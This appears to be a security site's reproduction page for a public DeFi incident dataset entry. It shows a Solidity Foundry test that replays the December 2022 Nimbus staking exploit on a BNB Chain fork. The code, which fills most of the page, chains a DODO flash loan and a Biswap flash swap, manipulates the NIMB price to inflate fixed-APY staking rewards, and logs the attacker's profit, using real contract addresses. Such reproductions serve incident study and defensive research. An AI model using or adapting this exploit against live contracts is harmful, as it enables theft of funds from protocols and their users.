Skip to content
THREATWIRE

Public reproduction file

src/test/2022-12/Nmbplatform_exp.sol

Public reproduction file for dataset entry - Nmbplatform.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-12/Nmbplatform_exp.sol228 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/BlockSecTeam/status/1602877048124735489
9// @TX
10// https://bscscan.com/tx/0x7d2d8d2cda2d81529e0e0af90c4bfb39b6e74fa363c60b031d719dd9d153b012
11// https://bscscan.com/tx/0x42f56d3e86fb47e1edffa59222b33b73e7407d4b5bb05e23b83cb1771790f6c1
13interface NimbusBNB is IERC20 {
14 function deposit() external payable;
15 function withdraw(
16 uint256 wad
17 ) external;
20interface StakingRewardFixedAPY is IERC20 {
21 function stake(
22 uint256 amount
23 ) external;
24 function getReward() external;
25 function withdraw() external;
26 function earned(
27 address account
28 ) external view returns (uint256);
31interface LockStakingRewardFixedAPY {
32 function stake(
33 uint256 amount
34 ) external;
35 function getReward() external;
36 function earned(
37 address account
38 ) external view returns (uint256);
41contract ContractTest is Test {
42 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
43 IERC20 GNIMB = IERC20(0x99C486b908434Ae4adF567e9990A929854d0c955);
44 IERC20 NIMB = IERC20(0xCb492C701F7fe71bC9C4B703b84B0Da933fF26bB);
45 NimbusBNB NBU_WBNB = NimbusBNB(0xA2CA18FC541B7B101c64E64bBc2834B05066248b);
46 Uni_Router_V2 NimbusRouter = Uni_Router_V2(0x2C6cF65f3cD32a9Be1822855AbF2321F6F8f6b24);
47 Uni_Pair_V2 Pair = Uni_Pair_V2(0xaCAac9311b0096E04Dfe96b6D87dec867d3883Dc);
48 StakingRewardFixedAPY stakingReward1 = StakingRewardFixedAPY(0x3aA2B9de4ce397d93E11699C3f07B769b210bBD5);
49 LockStakingRewardFixedAPY stakingReward2 = LockStakingRewardFixedAPY(0x706065716569f20971F9CF8c66D092824c284584);
50 LockStakingRewardFixedAPY stakingReward3 = LockStakingRewardFixedAPY(0xdEF57A7722D4411726ff40700Eb7b6876BEE7ECB);
51 address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
52 uint256 flashLoanAmount;
53 uint256 flashSwapAmount;
54 User1 public user1;
55 User2 public user2;
56 User3 public user3;
58 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
60 function setUp() public {
61 cheats.createSelectFork("bsc", 23_639_507);
62 }
64 function testExploit() public {
65 user1 = new User1();
66 user2 = new User2();
67 user3 = new User3();
68 NBU_WBNB.deposit{value: 20 ether}();
69 NBU_WBNB.transfer(address(user1), 16 ether);
70 NBU_WBNB.transfer(address(user2), 2 ether);
71 NBU_WBNB.transfer(address(user3), 2 ether);
72 user1.stake();
73 user2.stake();
74 user3.stake();
75 cheats.warp(block.timestamp + 8 * 24 * 60 * 60);
76 flashLoanAmount = WBNB.balanceOf(dodo);
77 DVM(dodo).flashLoan(flashLoanAmount, 0, address(this), new bytes(1));
79 emit log_named_decimal_uint(
80 "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()
81 );
82 }
84 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
85 flashSwapAmount = WBNB.balanceOf(address(Pair)) - 1e18;
86 Pair.swap(flashSwapAmount, 0, address(this), new bytes(1));
87 WBNB.transfer(dodo, flashLoanAmount);
88 }
90 function BiswapCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
91 payable(address(0)).transfer(address(this).balance);
92 WBNB.withdraw(WBNB.balanceOf(address(this)));
93 NBU_WBNB.deposit{value: address(this).balance}();
94 NBU_WBNB.approve(address(NimbusRouter), type(uint256).max);
95 address[] memory path = new address[](2);
96 path[0] = address(NBU_WBNB);
97 path[1] = address(NIMB);
98 NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
99 NBU_WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
100 ); // Reward Price Manipulation
101 user1.getReward();
102 // GNIMB.transfer(address(stakingReward1), stakingReward1.balanceOf(address(user1)) - GNIMB.balanceOf(address(stakingReward1)));
103 // user1.withdraw();
104 GNIMB.transfer(
105 address(stakingReward2), stakingReward2.earned(address(user2)) - GNIMB.balanceOf(address(stakingReward2))
106 );
107 user2.getReward();
108 GNIMB.transfer(
109 address(stakingReward3), stakingReward3.earned(address(user3)) - GNIMB.balanceOf(address(stakingReward3))
110 );
111 user3.getReward();
112 NIMB.approve(address(NimbusRouter), type(uint256).max);
113 path[0] = address(NIMB);
114 path[1] = address(NBU_WBNB);
115 NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
116 NIMB.balanceOf(address(this)), 0, path, address(this), block.timestamp
117 );
118 GNIMBToNBU_WBNB();
119 NBU_WBNB.withdraw(NBU_WBNB.balanceOf(address(this)));
120 address(WBNB).call{value: address(this).balance}("");
121 WBNB.transfer(address(Pair), flashSwapAmount * 1000 / 998 + 1000);
122 }
124 function GNIMBToNBU_WBNB() internal {
125 GNIMB.approve(address(NimbusRouter), type(uint256).max);
126 address[] memory path = new address[](2);
127 path[0] = address(GNIMB);
128 path[1] = address(NBU_WBNB);
129 NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
130 GNIMB.balanceOf(address(this)), 0, path, address(this), block.timestamp
131 );
132 }
134 receive() external payable {}
137contract User1 is Test {
138 address Owner;
139 IERC20 GNIMB = IERC20(0x99C486b908434Ae4adF567e9990A929854d0c955);
140 NimbusBNB NBU_WBNB = NimbusBNB(0xA2CA18FC541B7B101c64E64bBc2834B05066248b);
141 Uni_Router_V2 NimbusRouter = Uni_Router_V2(0x2C6cF65f3cD32a9Be1822855AbF2321F6F8f6b24);
142 StakingRewardFixedAPY stakingReward1 = StakingRewardFixedAPY(0x3aA2B9de4ce397d93E11699C3f07B769b210bBD5);
144 constructor() {
145 Owner = msg.sender;
146 }
148 function stake() external {
149 NBU_WBNB.approve(address(NimbusRouter), type(uint256).max);
150 address[] memory path = new address[](2);
151 path[0] = address(NBU_WBNB);
152 path[1] = address(GNIMB);
153 NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
154 NBU_WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
155 );
156 GNIMB.approve(address(stakingReward1), type(uint256).max);
157 stakingReward1.stake(GNIMB.balanceOf(address(this)));
158 }
160 function getReward() external {
161 deal(address(GNIMB), address(stakingReward1), 13_855_114 * 1e18);
162 stakingReward1.getReward();
163 GNIMB.transfer(Owner, GNIMB.balanceOf(address(this)));
164 }
166 // function withdraw() external{
167 // stakingReward1.withdraw();
168 // GNIMB.transfer(Owner, GNIMB.balanceOf(address(this)));
169 // }
172contract User2 {
173 address Owner;
174 IERC20 GNIMB = IERC20(0x99C486b908434Ae4adF567e9990A929854d0c955);
175 NimbusBNB NBU_WBNB = NimbusBNB(0xA2CA18FC541B7B101c64E64bBc2834B05066248b);
176 Uni_Router_V2 NimbusRouter = Uni_Router_V2(0x2C6cF65f3cD32a9Be1822855AbF2321F6F8f6b24);
177 LockStakingRewardFixedAPY stakingReward2 = LockStakingRewardFixedAPY(0x706065716569f20971F9CF8c66D092824c284584);
179 constructor() {
180 Owner = msg.sender;
181 }
183 function stake() external {
184 NBU_WBNB.approve(address(NimbusRouter), type(uint256).max);
185 address[] memory path = new address[](2);
186 path[0] = address(NBU_WBNB);
187 path[1] = address(GNIMB);
188 NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
189 NBU_WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
190 );
191 GNIMB.approve(address(stakingReward2), type(uint256).max);
192 stakingReward2.stake(GNIMB.balanceOf(address(this)));
193 }
195 function getReward() external {
196 stakingReward2.getReward();
197 GNIMB.transfer(Owner, GNIMB.balanceOf(address(this)));
198 }
201contract User3 {
202 address Owner;
203 IERC20 GNIMB = IERC20(0x99C486b908434Ae4adF567e9990A929854d0c955);
204 NimbusBNB NBU_WBNB = NimbusBNB(0xA2CA18FC541B7B101c64E64bBc2834B05066248b);
205 Uni_Router_V2 NimbusRouter = Uni_Router_V2(0x2C6cF65f3cD32a9Be1822855AbF2321F6F8f6b24);
206 LockStakingRewardFixedAPY stakingReward3 = LockStakingRewardFixedAPY(0xdEF57A7722D4411726ff40700Eb7b6876BEE7ECB);
208 constructor() {
209 Owner = msg.sender;
210 }
212 function stake() external {
213 NBU_WBNB.approve(address(NimbusRouter), type(uint256).max);
214 address[] memory path = new address[](2);
215 path[0] = address(NBU_WBNB);
216 path[1] = address(GNIMB);
217 NimbusRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
218 NBU_WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
219 );
220 GNIMB.approve(address(stakingReward3), type(uint256).max);
221 stakingReward3.stake(GNIMB.balanceOf(address(this)));
222 }
224 function getReward() external {
225 stakingReward3.getReward();
226 GNIMB.transfer(Owner, GNIMB.balanceOf(address(this)));
227 }

Analysis

Dataset entry

Public Foundry test for “- Nmbplatform” (2022-12-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Nmbplatform
Path
src/test/2022-12/Nmbplatform_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
42fbb5989ef7ba76f3b12f5de2b88bbeecc0bd91
Language
Solidity
Size
229 lines
Date
2022-12-14
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-12/Nmbplatform_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 42fbb5989ef7ba76f3b12f5de2b88bbeecc0bd91, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.